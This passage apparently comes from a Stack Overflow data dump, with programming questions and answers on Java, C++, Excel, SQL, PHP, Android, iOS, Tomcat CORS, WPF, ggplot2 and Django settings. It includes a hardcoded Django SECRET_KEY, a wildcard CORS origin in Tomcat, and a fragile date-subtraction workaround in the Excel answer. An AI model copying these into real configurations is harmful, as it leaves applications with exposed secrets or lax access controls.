Calendar calendar1 = Calendar.getInstance();
SimpleDateFormat dateFormat = new SimpleDateFormat("dd-MM-yyyy");
todaydate = dateFormat.format(calendar1.getTime());
<input type="text" name="datename" value="<%=todaydate%>"/>
</code></pre>
<p>in servlet(doPost)</p>
<pre><code>String s=request.getParameter("datename");
PreparedStatement ps=con.prepareStatement("insert into tablename(rest_dt, othercolname) values (to_date(?, 'dd-mm-yyyy'), ?)");
ps.setString(1, s);
ps.setString(2, otherstringdata);
int rs=ps.executeUpdate();
</code></pre>
<p>Any idea please</p> | 9,582,556 | 5 | 21 | null | 2012-03-06 10:55:38.777 UTC | 2 | 2021-08-08 18:02:31.817 UTC | 2012-03-06 12:15:59.24 UTC | null | 1,232,355 | null | 1,232,355 | null | 1 | 2 | java|sql|oracle|date | 67,169 | <p>so make </p>
<pre><code>("insert into mytablename (rest_dt) values to_date(?, 'DD-MM-YYYY')");
</code></pre>
<p>Try this</p>
<pre><code>TO_DATE(?, 'DD-MM-YYYY','NLS_DATE_LANGUAGE = American')
</code></pre>
<p>// gets from <a href="http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions183.htm" rel="noreferrer">Oracle docs</a></p> |
8,362,572 | Check if a string is palindrome | <p>I need to create a program that allows a user to input a string and my program will check to see if that string they entered is a palindrome (word that can be read the same backwards as it can forwards).</p> | 8,362,607 | 8 | 3 | null | 2011-12-02 20:59:03.5 UTC | 8 | 2022-04-26 04:20:56.227 UTC | 2020-11-29 17:45:35.453 UTC | null | 8,372,853 | null | 879,963 | null | 1 | 16 | c++ | 182,609 | <p>Just compare the string with itself reversed:</p>
<pre><code>string input;
cout << "Please enter a string: ";
cin >> input;
if (input == string(input.rbegin(), input.rend())) {
cout << input << " is a palindrome";
}
</code></pre>
<p>This constructor of <code>string</code> takes a beginning and ending iterator and creates the string from the characters between those two iterators. Since <code>rbegin()</code> is the end of the string and incrementing it goes backwards through the string, the string we create will have the characters of <code>input</code> added to it in reverse, reversing the string.</p>
<p>Then you just compare it to <code>input</code> and if they are equal, it is a palindrome.</p>
<p>This does not take into account capitalisation or spaces, so you'll have to improve on it yourself.</p> |
8,745,244 | How to force Excel to automatically fill prior year in column instead of current year? | <p><strong>Context:</strong> I'm entering prior year data into Excel.</p>
<p>Every time I type in the date in the date column <em>("9/16" for September 16th)</em>, Excel automatically formats it to "9/16/12", where 12 is 2012, the current year.</p>
<p>I'm entering data from last year in the current year 2012. I don't want to type the "11" for 2011. I want Excel to automatically populate it as it does with 2012, and as it did on December 31st.</p>
<p>The <strong>simplest</strong> fix is to set the clock in Windows back to any time in 2011, but that tends to muck with the network which wants to set me back and complains about my network password being out of date, etc. </p>
<p>I prefer the date to reside in a single column, so tabbing to alternate columns for day/month/year is not an option for me.</p>
<p>One would think this is a simple fix, but a couple hours searching and my Google-fu is failing me.</p> | 8,745,668 | 8 | 4 | null | 2012-01-05 15:42:07.873 UTC | 1 | 2019-12-29 21:50:11.993 UTC | 2012-10-25 16:26:44.697 UTC | null | 985,906 | null | 985,906 | null | 1 | 11 | excel|date | 45,350 | <p>A quick fix is to just enter 9/16 and let Excel change it to 9/16/12. Then when you are all done entering your dates, in a new column, enter the formula <code>=A1-365</code>, and just copy the formula all the way down, assuming column A contains the dates that you entered.</p>
<p>One watch-out on this: 2012 is a leap year, so for any dates after Feb 28 that you enter, your formula will need to be <code>=A1-365.25</code> or else your dates will be off by one day. It doesn't have to be 365.25, just something larger than 365 and smaller than 366.</p>
<p>This works because no matter what the date format in the cell is, Excel stores the actual date as the number of elapsed days since January 0, 1900. (Yeah, January 0 isn't a real date, but Excel thinks it is.)</p> |
5,271,749 | change default page in cpanel | <p>What do I need to do to change the default page in cpanel?</p> | 5,272,092 | 5 | 1 | null | 2011-03-11 10:30:15.647 UTC | null | 2016-07-05 15:45:46.993 UTC | 2012-08-14 17:58:33.42 UTC | null | 1,159,478 | null | 66,143 | null | 1 | 7 | cpanel | 52,487 | <p>Update or create <strong>.htaccess</strong> file in the <strong>public_html</strong> folder and make the following content..</p>
<pre><code>DirectoryIndex index.php home.php
</code></pre> |
4,999,756 | What is the use of WPFFontCache Service in WPF? WPFFontCache_v0400.exe taking 100 % CPU all the time this exe is running, why? | <p>What is acutally the functionality of WPFFontCache in WPF?. Sometime it is takeing too much CPU usage because of this system in hanging and my Application. Is there any problem disabling the service from the windows service. The big concern is why it is hanging my Application?. </p> | 5,000,885 | 5 | 1 | null | 2011-02-15 04:03:37.953 UTC | 1 | 2014-12-06 12:14:59.127 UTC | 2011-02-15 06:04:09.817 UTC | null | 144,373 | null | 144,373 | null | 1 | 27 | wpf | 152,006 | <p><a href="http://msdn.microsoft.com/en-us/library/bb613584.aspx" rel="noreferrer">From MSDN:</a></p>
<blockquote>
<p>The WPF Font Cache service shares font data between WPF applications. The first WPF application you run starts this service if the service is not already running. If you are using Windows Vista, you can set the "Windows Presentation Foundation (WPF) Font Cache 3.0.0.0" service from "Manual" (the default) to "Automatic (Delayed Start)" to reduce the initial start-up time of WPF applications.</p>
</blockquote>
<p>There's no harm in disabling it, but WPF apps tend to start faster and load fonts faster with it running.<br>
It is supposed to be a performance optimization. The fact that it is not in your case makes me suspect that perhaps your font cache is corrupted. To clear it, follow these steps:</p>
<ol>
<li>Stop the WPF Font Cache 4.0 service.</li>
<li>Delete all of the WPFFontCache_v0400* files. In Windows XP, you'll find them in your <code>C:\Documents and Settings\LocalService\Local Settings\Application Data\</code> folder.</li>
<li>Start the service again.</li>
</ol> |
5,391,344 | INSERT with SELECT | <p>I have a query that inserts using a <code>SELECT</code> statement:</p>
<pre><code>INSERT INTO courses (name, location, gid)
SELECT name, location, gid
FROM courses
WHERE cid = $cid
</code></pre>
<p>Is it possible to only select "name, location" for the insert, and set <code>gid</code> to something else in the query?</p> | 5,391,390 | 8 | 0 | null | 2011-03-22 12:38:52.843 UTC | 47 | 2021-10-06 13:11:34.61 UTC | 2021-01-14 20:55:13.97 UTC | null | 814,702 | null | 671,185 | null | 1 | 341 | mysql|sql|insert-select | 445,602 | <p>Yes, absolutely, but check your syntax.</p>
<pre><code>INSERT INTO courses (name, location, gid)
SELECT name, location, 1
FROM courses
WHERE cid = 2
</code></pre>
<p>You can put a constant of the same type as <code>gid</code> in its place, not just 1, of course. And, I just made up the <code>cid</code> value.</p> |
5,450,148 | PHP Remove elements from associative array | <p>I have an PHP array that looks something like this: </p>
<pre><code>Index Key Value
[0] 1 Awaiting for Confirmation
[1] 2 Assigned
[2] 3 In Progress
[3] 4 Completed
[4] 5 Mark As Spam
</code></pre>
<p>When I var_dump the array values i get this:</p>
<pre><code>array(5) { [0]=> array(2) { ["key"]=> string(1) "1" ["value"]=> string(25) "Awaiting for Confirmation" } [1]=> array(2) { ["key"]=> string(1) "2" ["value"]=> string(9) "Assigned" } [2]=> array(2) { ["key"]=> string(1) "3" ["value"]=> string(11) "In Progress" } [3]=> array(2) { ["key"]=> string(1) "4" ["value"]=> string(9) "Completed" } [4]=> array(2) { ["key"]=> string(1) "5" ["value"]=> string(12) "Mark As Spam" } }
</code></pre>
<p>I wanted to remove <strong>Completed</strong> and <strong>Mark As Spam</strong>. I know I can <code>unset[$array[3],$array[4])</code>, but the problem is that sometimes the index number can be different.</p>
<p>Is there a way to remove them by matching the value name instead of the key value?</p> | 5,450,162 | 9 | 1 | null | 2011-03-27 15:17:20.067 UTC | 12 | 2019-04-30 17:59:20.37 UTC | 2018-08-29 00:23:00.927 UTC | null | 1,922,662 | null | 648,198 | null | 1 | 104 | php|arrays | 416,630 | <p>Your array is quite strange : <strong>why not just use the <code>key</code> as index, and the <code>value</code> as... the value ?</strong></p>
<p>Wouldn't it be a lot easier if your array was declared like this :</p>
<pre><code>$array = array(
1 => 'Awaiting for Confirmation',
2 => 'Asssigned',
3 => 'In Progress',
4 => 'Completed',
5 => 'Mark As Spam',
);
</code></pre>
<p>That would allow you to use your values of <code>key</code> as indexes to access the array... </p>
<p>And you'd be able to use functions to search on the values, such as <a href="http://fr2.php.net/array_search" rel="noreferrer"><strong><code>array_search()</code></strong></a> :</p>
<pre><code>$indexCompleted = array_search('Completed', $array);
unset($array[$indexCompleted]);
$indexSpam = array_search('Mark As Spam', $array);
unset($array[$indexSpam]);
var_dump($array);
</code></pre>
<p>Easier than with your array, no ?</p>
<p><br></p>
<hr>
<p>Instead, with your array that looks like this :</p>
<pre><code>$array = array(
array('key' => 1, 'value' => 'Awaiting for Confirmation'),
array('key' => 2, 'value' => 'Asssigned'),
array('key' => 3, 'value' => 'In Progress'),
array('key' => 4, 'value' => 'Completed'),
array('key' => 5, 'value' => 'Mark As Spam'),
);
</code></pre>
<p>You'll have to loop over all items, to analyse the <code>value</code>, and unset the right items :</p>
<pre><code>foreach ($array as $index => $data) {
if ($data['value'] == 'Completed' || $data['value'] == 'Mark As Spam') {
unset($array[$index]);
}
}
var_dump($array);
</code></pre>
<p>Even if do-able, it's not that simple... and I insist : can you not change the format of your array, to work with a simpler key/value system ?</p> |
5,114,762 | How do format a phone number as a String in Java? | <p>I have been storing phone numbers as longs and I would like to simply add hyphens when printing the phone number as a string.</p>
<p>I tried using <code>DecimalFormat</code> but that doesn't like the hyphen. Probably because it is meant for formatting decimal numbers and not longs.</p>
<pre><code>long phoneFmt = 123456789L;
DecimalFormat phoneFmt = new DecimalFormat("###-###-####");
System.out.println(phoneFmt.format(phoneNum)); //doesn't work as I had hoped
</code></pre>
<p>Ideally, I would like to have parenthesis on the area code too.</p>
<pre><code>new DecimalFormat("(###)-###-####");
</code></pre>
<p>What is the correct way to do this?</p> | 5,114,938 | 17 | 1 | null | 2011-02-25 07:38:37.133 UTC | 12 | 2021-03-06 02:59:35.073 UTC | null | null | null | null | 266,535 | null | 1 | 35 | java|string|number-formatting | 125,622 | <p>This is how I ended up doing it:</p>
<pre><code>private String printPhone(Long phoneNum) {
StringBuilder sb = new StringBuilder(15);
StringBuilder temp = new StringBuilder(phoneNum.toString());
while (temp.length() < 10)
temp.insert(0, "0");
char[] chars = temp.toString().toCharArray();
sb.append("(");
for (int i = 0; i < chars.length; i++) {
if (i == 3)
sb.append(") ");
else if (i == 6)
sb.append("-");
sb.append(chars[i]);
}
return sb.toString();
}
</code></pre>
<p>I understand that this does not support international numbers, but I'm not writing a "real" application so I'm not concerned about that. I only accept a 10 character long as a phone number. I just wanted to print it with some formatting.</p>
<p>Thanks for the responses.</p> |
5,593,053 | Open soft keyboard programmatically | <p>I have an activity with no child widgets for it and the corresponding xml file is,</p>
<pre><code><?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/myLayout"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:focusable="true"
>
</LinearLayout>
</code></pre>
<p>and I want to open soft keyboard programmatically while the activity gets start.and what I've tried upto now is,</p>
<pre><code>public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
InputMethodManager inputMethodManager = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
if (inputMethodManager != null) {
inputMethodManager.toggleSoftInput(InputMethodManager.SHOW_FORCED, 0);
}
</code></pre>
<p>Give me some guidance.</p> | 5,617,130 | 28 | 4 | null | 2011-04-08 09:20:48.213 UTC | 19 | 2022-08-26 00:08:16.167 UTC | 2015-12-17 04:38:15.127 UTC | null | 437,146 | null | 618,994 | null | 1 | 132 | android|android-softkeyboard | 157,675 | <p>I have used the following lines to display the soft keyboard manually inside the onclick event, and the keyboard is visible.</p>
<pre><code>InputMethodManager inputMethodManager =
(InputMethodManager)getSystemService(Context.INPUT_METHOD_SERVICE);
inputMethodManager.toggleSoftInputFromWindow(
linearLayout.getApplicationWindowToken(),
InputMethodManager.SHOW_FORCED, 0);
</code></pre>
<p>But I'm still not able to open this while the activity gets opened, so are there any solution for this?</p> |
12,623,260 | How do I set recipients for UIActivityViewController in iOS 6? | <p>I'm using the new <code>UIActivityViewController</code> class in iOS6 to provide the user with various sharing options. You can pass an array of parameters to it such as text, links and images and it does the rest. </p>
<p>How do I define recipients? For example sharing via mail or SMS should be able to accept recipients but I can't figure out how to invoke this behaviour.</p>
<p>I don't want to have to have to use <code>MFMessageComposeViewController</code> and <code>UIActivityViewController</code> separately as that just defeats the purpose of the share controller.</p>
<p>Any suggestions?</p>
<p><a href="http://developer.apple.com/library/ios/#documentation/UIKit/Reference/UIActivityViewController_Class/Reference/Reference.html" rel="noreferrer">UIActivityViewController Class Reference</a></p>
<p><strong>Edit: This has now been submitted Apple and subsequently merged with a duplicate bug report.</strong></p>
<p><a href="http://openradar.appspot.com/radar?id=2050404" rel="noreferrer">Bug report on OpenRadar</a></p> | 22,557,140 | 6 | 0 | null | 2012-09-27 14:04:35.233 UTC | 17 | 2016-04-03 16:00:55.273 UTC | 2016-04-03 16:00:55.273 UTC | null | 656,600 | null | 1,509,793 | null | 1 | 33 | iphone|objective-c|ios6|uiactivityviewcontroller | 19,956 | <p>All credit here goes to Emanuelle, since he came up with most of the code.</p>
<p>Though I thought I would post a modified version of his code that helps set the to recipient.</p>
<p>I used a Category on MFMailComposeViewController</p>
<pre><code>#import "MFMailComposeViewController+Recipient.h"
#import <objc/message.h>
@implementation MFMailComposeViewController (Recipient)
+ (void)load {
MethodSwizzle(self, @selector(setMessageBody:isHTML:), @selector(setMessageBodySwizzled:isHTML:));
}
static void MethodSwizzle(Class c, SEL origSEL, SEL overrideSEL)
{
Method origMethod = class_getInstanceMethod(c, origSEL);
Method overrideMethod = class_getInstanceMethod(c, overrideSEL);
if (class_addMethod(c, origSEL, method_getImplementation(overrideMethod), method_getTypeEncoding(overrideMethod))) {
class_replaceMethod(c, overrideSEL, method_getImplementation(origMethod), method_getTypeEncoding(origMethod));
} else {
method_exchangeImplementations(origMethod, overrideMethod);
}
}
- (void)setMessageBodySwizzled:(NSString*)body isHTML:(BOOL)isHTML
{
if (isHTML == YES) {
NSRange range = [body rangeOfString:@"<torecipients>.*</torecipients>" options:NSRegularExpressionSearch|NSCaseInsensitiveSearch];
if (range.location != NSNotFound) {
NSScanner *scanner = [NSScanner scannerWithString:body];
[scanner setScanLocation:range.location+14];
NSString *recipientsString = [NSString string];
if ([scanner scanUpToString:@"</torecipients>" intoString:&recipientsString] == YES) {
NSArray * recipients = [recipientsString componentsSeparatedByString:@";"];
[self setToRecipients:recipients];
}
body = [body stringByReplacingCharactersInRange:range withString:@""];
}
}
[self setMessageBodySwizzled:body isHTML:isHTML];
}
@end
</code></pre> |
12,383,109 | Access-Control-Allow-Origin: * in tomcat | <p>I want to set a default http header in my tomcat container - </p>
<blockquote>
<p>Access-Control-Allow-Origin: *</p>
</blockquote>
<p>From various different links on stackoverslow and from google, most have pointed to a <a href="http://www.skill-guru.com/blog/2011/02/23/cross-domain-scripting-settings-on-tomcat/" rel="noreferrer">resource</a>. <a href="http://feed.openmrs.org/tag/tomcat" rel="noreferrer">This</a> again says same on how to do it. I have replicated the same, but still the header is not shown.
This is what I have done:
1) Copied cors.jar file in /lib folder of tomcat
2) Inserted this text in web.xml</p>
<pre><code><filter>
<filter-name>CORS</filter-name>
<filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>
<init-param>
<param-name>cors.allowOrigin</param-name>
<param-value>*</param-value>
</init-param>
<init-param>
<param-name>cors.supportedMethods</param-name>
<param-value>GET, POST, HEAD, PUT, DELETE</param-value>
</init-param>
<init-param>
<param-name>cors.supportedHeaders</param-name>
<param-value>Content-Type, Last-Modified</param-value>
</init-param>
<init-param>
<param-name>cors.exposedHeaders</param-name>
<param-value>Set-Cookie</param-value>
</init-param>
<init-param>
<param-name>cors.supportsCredentials</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CORS</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</code></pre>
<p>It doesn't work and I am helpless. My tomcat version is -6.0.6. Please help.</p> | 22,164,683 | 8 | 1 | null | 2012-09-12 07:25:14.89 UTC | 10 | 2022-05-06 00:58:04.183 UTC | 2013-05-18 12:53:34.84 UTC | null | 1,585 | null | 894,565 | null | 1 | 35 | tomcat|http-headers | 164,891 | <p>The issue arose because of not including <code>jar</code> file as part of the project. I was just including it in tomcat lib. Using the below in <code>web.xml</code> works now:</p>
<pre><code><filter>
<filter-name>springSecurityFilterChain</filter-name>
<filter-class>
org.springframework.web.filter.DelegatingFilterProxy
</filter-class>
</filter>
<filter-mapping>
<filter-name>springSecurityFilterChain</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>CORS</filter-name>
<filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>
<init-param>
<param-name>cors.allowOrigin</param-name>
<param-value>*</param-value>
</init-param>
<init-param>
<param-name>cors.supportsCredentials</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>cors.supportedHeaders</param-name>
<param-value>accept, authorization, origin</param-value>
</init-param>
<init-param>
<param-name>cors.supportedMethods</param-name>
<param-value>GET, POST, HEAD, OPTIONS</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CORS</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</code></pre>
<p>And the below in your project dependency:</p>
<pre><code><dependency>
<groupId>com.thetransactioncompany</groupId>
<artifactId>cors-filter</artifactId>
<version>1.3.2</version>
</dependency>
</code></pre> |
12,421,085 | Good introduction to free theorems | <p>I stumbled upon a nice idea of <a href="http://www-ps.iai.uni-bonn.de/cgi-bin/free-theorems-webui.cgi?help" rel="noreferrer">free theorems</a> in functional language. However, the only resource I was able to find is Wadler's article "<a href="http://doi.acm.org/10.1145/99370.99404" rel="noreferrer">Theorems for Free</a>". It's quite good but it definitely not a tutorial and hard for me to get through (I understood about half of it and it required for me to spend quite a lot of time). Can you recommend me another article or tutorial which is oriented towards a software developer familiar with functional programming instead of hard core functional language researcher?</p>
<p>Thanks.</p> | 12,423,235 | 1 | 0 | null | 2012-09-14 08:53:08.343 UTC | 26 | 2012-09-14 17:55:17.823 UTC | 2012-09-14 11:28:17.99 UTC | null | 471,214 | null | 250,560 | null | 1 | 50 | haskell|functional-programming | 5,936 | <p><a href="http://www.iai.uni-bonn.de/~jv/free-slides.pdf">http://www.iai.uni-bonn.de/~jv/free-slides.pdf</a></p>
<p><a href="http://daniel.yokomizo.org/2011/12/understanding-higher-order-code-for.html">http://daniel.yokomizo.org/2011/12/understanding-higher-order-code-for.html</a></p>
<p><a href="http://arxiv.org/pdf/1107.1203.pdf">http://arxiv.org/pdf/1107.1203.pdf</a></p>
<p>(Also in typeclassopedia Section 3.3)</p>
<p><a href="http://hackage.haskell.org/package/free-theorems-seq">http://hackage.haskell.org/package/free-theorems-seq</a></p>
<p><a href="http://hackage.haskell.org/package/free-theorems-counterexamples">http://hackage.haskell.org/package/free-theorems-counterexamples</a></p> |
12,603,336 | iOS6 viewDidUnload Deprecated | <p>Maybe this is a bad practice, but from the documentations that I read I got the advice to initialize objects in some cases inside the viewDidLoad method and nil it in viewDidUnload.</p>
<p>For example if you have something like adding an Observer</p>
<pre><code>[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(filterready:)
name:@"filterReady"
object:nil];
</code></pre>
<p>Now I don't have a method to remove the Observer, however the viewDidLoad becomes called every time the view is shown which results in having multiple observers running after a while and the selector is then called multiple times.</p>
<p>I can fix this by moving some cleaners into the viewDidDisappear method, but now I have some doubts if I'm doing the right thing.</p>
<p>In my sample I have multiple Navigation Controllers that are controlling their subnavigations, but the dealloc is never called for them, even though they are not referenced</p> | 12,603,549 | 4 | 0 | null | 2012-09-26 13:52:57.067 UTC | 17 | 2015-05-05 18:02:46.43 UTC | null | null | null | null | 192,976 | null | 1 | 64 | ios6 | 46,821 | <p>You should use the
<code>- (void)didReceiveMemoryWarning</code>
and
<code>- (void)dealloc</code> methods.</p>
<blockquote>
<p>In iOS 6, the viewWillUnload and viewDidUnload methods of UIViewController are now deprecated. If you were using these methods to release data, use the didReceiveMemoryWarning method instead. You can also use this method to release references to the view controller’s view if it is not being used. You would need to test that the view is not in a window before doing this.</p>
</blockquote>
<p>So you should check if your view is in the window first, then remove your observer in the <code>didReceiveMemoryWarning</code></p> |
12,409,960 | ggplot2 - annotate outside of plot | <p>I would like to associate sample size values with points on a plot. I can use <code>geom_text</code> to position the numbers near the points, but this is messy. It would be much cleaner to line them up along the outside edge of the plot.</p>
<p>For instance, I have:</p>
<pre><code>df=data.frame(y=c("cat1","cat2","cat3"),x=c(12,10,14),n=c(5,15,20))
ggplot(df,aes(x=x,y=y,label=n))+geom_point()+geom_text(size=8,hjust=-0.5)
</code></pre>
<p>Which produces this plot:
<img src="https://i.stack.imgur.com/QMnHc.jpg" alt="enter image description here"></p>
<p>I would prefer something more like this:
<img src="https://i.stack.imgur.com/wKDTK.jpg" alt="enter image description here"></p>
<p>I know I can create a second plot and use <code>grid.arrange</code> (a la <a href="https://stackoverflow.com/questions/10525957/how-to-draw-lines-outside-of-plot-area-in-ggplot2">this post</a>) but it would be tedious to determine the spacing of the textGrobs to line up with the y-axis. Is there an easier way to do this? Thanks!</p> | 12,417,481 | 4 | 5 | null | 2012-09-13 15:38:54.783 UTC | 38 | 2022-08-14 10:01:22.867 UTC | 2017-05-23 12:10:35.467 UTC | null | -1 | null | 850,645 | null | 1 | 80 | r|annotations|ggplot2 | 101,632 | <p>You don't need to be drawing a second plot. You can use <code>annotation_custom</code> to position grobs anywhere inside or outside the plotting area. The positioning of the grobs is in terms of the data coordinates. Assuming that "5", "10", "15" align with "cat1", "cat2", "cat3", the vertical positioning of the textGrobs is taken care of - the y-coordinates of your three textGrobs are given by the y-coordinates of the three data points. By default, <code>ggplot2</code> clips grobs to the plotting area but the clipping can be overridden. The relevant margin needs to be widened to make room for the grob. The following (using ggplot2 0.9.2) gives a plot similar to your second plot:</p>
<pre><code>library (ggplot2)
library(grid)
df=data.frame(y=c("cat1","cat2","cat3"),x=c(12,10,14),n=c(5,15,20))
p <- ggplot(df, aes(x,y)) + geom_point() + # Base plot
theme(plot.margin = unit(c(1,3,1,1), "lines")) # Make room for the grob
for (i in 1:length(df$n)) {
p <- p + annotation_custom(
grob = textGrob(label = df$n[i], hjust = 0, gp = gpar(cex = 1.5)),
ymin = df$y[i], # Vertical position of the textGrob
ymax = df$y[i],
xmin = 14.3, # Note: The grobs are positioned outside the plot area
xmax = 14.3)
}
# Code to override clipping
gt <- ggplot_gtable(ggplot_build(p))
gt$layout$clip[gt$layout$name == "panel"] <- "off"
grid.draw(gt)
</code></pre>
<p><img src="https://i.stack.imgur.com/PRbtw.png" alt="enter image description here"></p> |
19,128,540 | Django: ImproperlyConfigured: The SECRET_KEY setting must not be empty | <p>I am trying to set up multiple setting files (development, production, ..) that include some base settings. Cannot succeed though. When I try to run <code>./manage.py runserver</code> I am getting the following error:</p>
<pre><code>(cb)clime@den /srv/www/cb $ ./manage.py runserver
ImproperlyConfigured: The SECRET_KEY setting must not be empty.
</code></pre>
<p>Here is my settings module:</p>
<pre><code>(cb)clime@den /srv/www/cb/cb/settings $ ll
total 24
-rw-rw-r--. 1 clime clime 8230 Oct 2 02:56 base.py
-rw-rw-r--. 1 clime clime 489 Oct 2 03:09 development.py
-rw-rw-r--. 1 clime clime 24 Oct 2 02:34 __init__.py
-rw-rw-r--. 1 clime clime 471 Oct 2 02:51 production.py
</code></pre>
<p>Base settings (contain SECRET_KEY):</p>
<pre><code>(cb)clime@den /srv/www/cb/cb/settings $ cat base.py:
# Django base settings for cb project.
import django.conf.global_settings as defaults
DEBUG = False
TEMPLATE_DEBUG = False
INTERNAL_IPS = ('127.0.0.1',)
ADMINS = (
('clime', '[email protected]'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
#'ENGINE': 'django.db.backends.postgresql_psycopg2', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'.
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'cwu', # Or path to database file if using sqlite3.
'USER': 'clime', # Not used with sqlite3.
'PASSWORD': '', # Not used with sqlite3.
'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '', # Set to empty string for default. Not used with sqlite3.
}
}
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# In a Windows environment this must be set to your system time zone.
TIME_ZONE = 'Europe/Prague'
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'
SITE_ID = 1
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = False
# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale.
USE_L10N = False # TODO: make this true and accustom date time input
DATE_INPUT_FORMATS = defaults.DATE_INPUT_FORMATS + ('%d %b %y', '%d %b, %y') # + ('25 Oct 13', '25 Oct, 13')
# If you set this to False, Django will not use timezone-aware datetimes.
USE_TZ = True
# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/home/media/media.lawrence.com/media/"
MEDIA_ROOT = '/srv/www/cb/media'
# URL that handles the media served from MEDIA_ROOT. Make sure to use a
# trailing slash.
# Examples: "http://media.lawrence.com/media/", "http://example.com/media/"
MEDIA_URL = '/media/'
# Absolute path to the directory static files should be collected to.
# Don't put anything in this directory yourself; store your static files
# in apps' "static/" subdirectories and in STATICFILES_DIRS.
# Example: "/home/media/media.lawrence.com/static/"
STATIC_ROOT = '/srv/www/cb/static'
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
# Additional locations of static files
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
)
# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
# 'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
# Make this unique, and don't share it with anybody.
SECRET_KEY = '8lu*6g0lg)9z!ba+a$ehk)xt)x%rxgb$i1&amp;022shmi1jcgihb*'
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)
TEMPLATE_CONTEXT_PROCESSORS = (
'django.contrib.auth.context_processors.auth',
'django.core.context_processors.request',
'django.core.context_processors.debug',
'django.core.context_processors.i18n',
'django.core.context_processors.media',
'django.core.context_processors.static',
'django.core.context_processors.tz',
'django.contrib.messages.context_processors.messages',
'web.context.inbox',
'web.context.base',
'web.context.main_search',
'web.context.enums',
)
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'watson.middleware.SearchContextMiddleware',
'debug_toolbar.middleware.DebugToolbarMiddleware',
'middleware.UserMemberMiddleware',
'middleware.ProfilerMiddleware',
'middleware.VaryOnAcceptMiddleware',
# Uncomment the next line for simple clickjacking protection:
# 'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'cb.urls'
# Python dotted path to the WSGI application used by Django's runserver.
WSGI_APPLICATION = 'cb.wsgi.application'
TEMPLATE_DIRS = (
# Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
'/srv/www/cb/web/templates',
'/srv/www/cb/templates',
)
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.staticfiles',
'south',
'grappelli', # must be before admin
'django.contrib.admin',
'django.contrib.admindocs',
'endless_pagination',
'debug_toolbar',
'djangoratings',
'watson',
'web',
)
AUTH_USER_MODEL = 'web.User'
# A sample logging configuration. The only tangible logging
# performed by this configuration is to send an email to
# the site admins on every HTTP 500 error when DEBUG=False.
# See http://docs.djangoproject.com/en/dev/topics/logging for
# more details on how to customize your logging configuration.
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'filters': {
'require_debug_false': {
'()': 'django.utils.log.RequireDebugFalse'
}
},
'formatters': {
'standard': {
'format' : "[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s",
'datefmt' : "%d/%b/%Y %H:%M:%S"
},
},
'handlers': {
'mail_admins': {
'level': 'ERROR',
'filters': ['require_debug_false'],
'class': 'django.utils.log.AdminEmailHandler'
},
'null': {
'level':'DEBUG',
'class':'django.utils.log.NullHandler',
},
'logfile': {
'level':'DEBUG',
'class':'logging.handlers.RotatingFileHandler',
'filename': "/srv/www/cb/logs/application.log",
'maxBytes': 50000,
'backupCount': 2,
'formatter': 'standard',
},
'console':{
'level':'INFO',
'class':'logging.StreamHandler',
'formatter': 'standard'
},
},
'loggers': {
'django.request': {
'handlers': ['mail_admins'],
'level': 'ERROR',
'propagate': True,
},
'django': {
'handlers':['console'],
'propagate': True,
'level':'WARN',
},
'django.db.backends': {
'handlers': ['console'],
'level': 'DEBUG',
'propagate': False,
},
'web': {
'handlers': ['console', 'logfile'],
'level': 'DEBUG',
},
},
}
LOGIN_URL = 'login'
LOGOUT_URL = 'logout'
#ENDLESS_PAGINATION_LOADING = """
# <img src="/static/web/img/preloader.gif" alt="loading" style="margin:auto"/>
#"""
ENDLESS_PAGINATION_LOADING = """
<div class="spinner small" style="margin:auto">
<div class="block_1 spinner_block small"></div>
<div class="block_2 spinner_block small"></div>
